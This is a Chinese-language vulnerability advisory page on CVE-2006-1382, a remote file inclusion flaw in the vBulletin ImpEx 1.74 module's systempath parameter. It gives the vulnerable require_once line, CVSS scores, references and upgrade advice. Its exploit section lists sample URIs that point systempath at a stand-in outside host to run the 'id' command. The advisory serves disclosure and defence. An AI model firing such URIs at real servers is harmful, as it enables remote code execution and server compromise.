CVE-2006-1382
CVSS7.5
发布时间 :2006-03-24 06:02:00
修订时间 :2011-03-07 21:32:57
NMCOS    

[原文]PHP remote file inclusion vulnerability in impex/ImpExData.php in vBulletin ImpEx module 1.74, when register_globals is disabled, allows remote attackers to include arbitrary files via the systempath parameter.


[CNNVD]vBulletin ImpEx模块远程文件包含漏洞(CNNVD-200603-406)

        vBulletin是一款开放源代码PHP论坛程序。
        vBulletin程序在实现上存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。
        在vBulletin的ImpEx模块中,ImpExData.php没有正确的过滤对systempath参数的输入,导致可以包含任意外部或本地的文件。具体来说:
        require_once ($systempath . 'impex/ImpExDatabase.php');
        在require_once()函数中使用之前没有设置$systempath变量,导致了上述漏洞。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1382
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1382
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200603-406
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/1056
(UNKNOWN)  VUPEN  ADV-2006-1056
http://secunia.com/advisories/19352
(VENDOR_ADVISORY)  SECUNIA  19352
http://lists.grok.org.uk/pipermail/full-disclosure/2006-March/044318.html
(UNKNOWN)  FULLDISC  20060323 XOR Crew :: vBulletin ImpEx <= 1.74 - Remote Command Execution Vulnerability
http://xforce.iss.net/xforce/xfdb/34095
(UNKNOWN)  XF  impex-systempath-file-include(34095)
http://xforce.iss.net/xforce/xfdb/25391
(UNKNOWN)  XF  impex-impexdata-file-include(25391)
http://www.securityfocus.com/bid/17206
(UNKNOWN)  BID  17206
http://www.securityfocus.com/archive/1/archive/1/467666/100/0/threaded
(UNKNOWN)  BUGTRAQ  20070504 Remote File Include In Script impex
http://www.osvdb.org/24070
(UNKNOWN)  OSVDB  24070

- 漏洞信息

vBulletin ImpEx模块远程文件包含漏洞
高危 输入验证
2006-03-24 00:00:00 2006-03-24 00:00:00
远程  
        vBulletin是一款开放源代码PHP论坛程序。
        vBulletin程序在实现上存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上执行任意命令。
        在vBulletin的ImpEx模块中,ImpExData.php没有正确的过滤对systempath参数的输入,导致可以包含任意外部或本地的文件。具体来说:
        require_once ($systempath . 'impex/ImpExDatabase.php');
        在require_once()函数中使用之前没有设置$systempath变量,导致了上述漏洞。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.vbulletin.com/docs/html/impex

- 漏洞信息

24070
vBulletin ImpEx Module ImpExData.php systempath Parameter Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

The vBulletin ImpEX module contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to ImpExData.php not properly sanitizing user input supplied to the 'systempath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

- 时间线

2006-03-22 Unknow
2006-03-22 Unknow

- 解决方案

Upgrade to version 1.75 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

VBulletin ImpEx Multiple Remote File Include Vulnerabilities
Input Validation Error 17206
Yes No
2006-03-23 12:00:00 2007-05-04 10:39:00
ReZEN of XOR Crew is credited with the discovery of the vulnerability in 'ImpExData.php'. dr.jr7@hotmail.com discovered the issues in the rest of the scripts.

- 受影响的程序版本

VBulletin ImpEx 1.74
- VBulletin VBulletin 3.5.4
- VBulletin VBulletin 3.5.3
- VBulletin VBulletin 3.5.2
- VBulletin VBulletin 3.5.1

- 漏洞讨论

vBulletin ImpEx is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

- 漏洞利用

Attackers can use a browser to exploit this issue.

The following example URIs demonstrate these issues:
http://www.example.com/forum/impex/ImpExModule.php?systempath=http://www.example2.com/cmd?&=id
http://www.example.com/forum/impex/ImpExController.php?systempath=http://www.example2.com/cmd?&=id
http://www.example.com/forum/impex/ImpExDisplay.php?systempath=http://www.example2.com/cmd?&=id
http://www.example.com/impex/ImpExData.php?systempath=[shell-attack]

The following exploit is available:

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:vuldb@securityfocus.com.

- 相关参考

 

 

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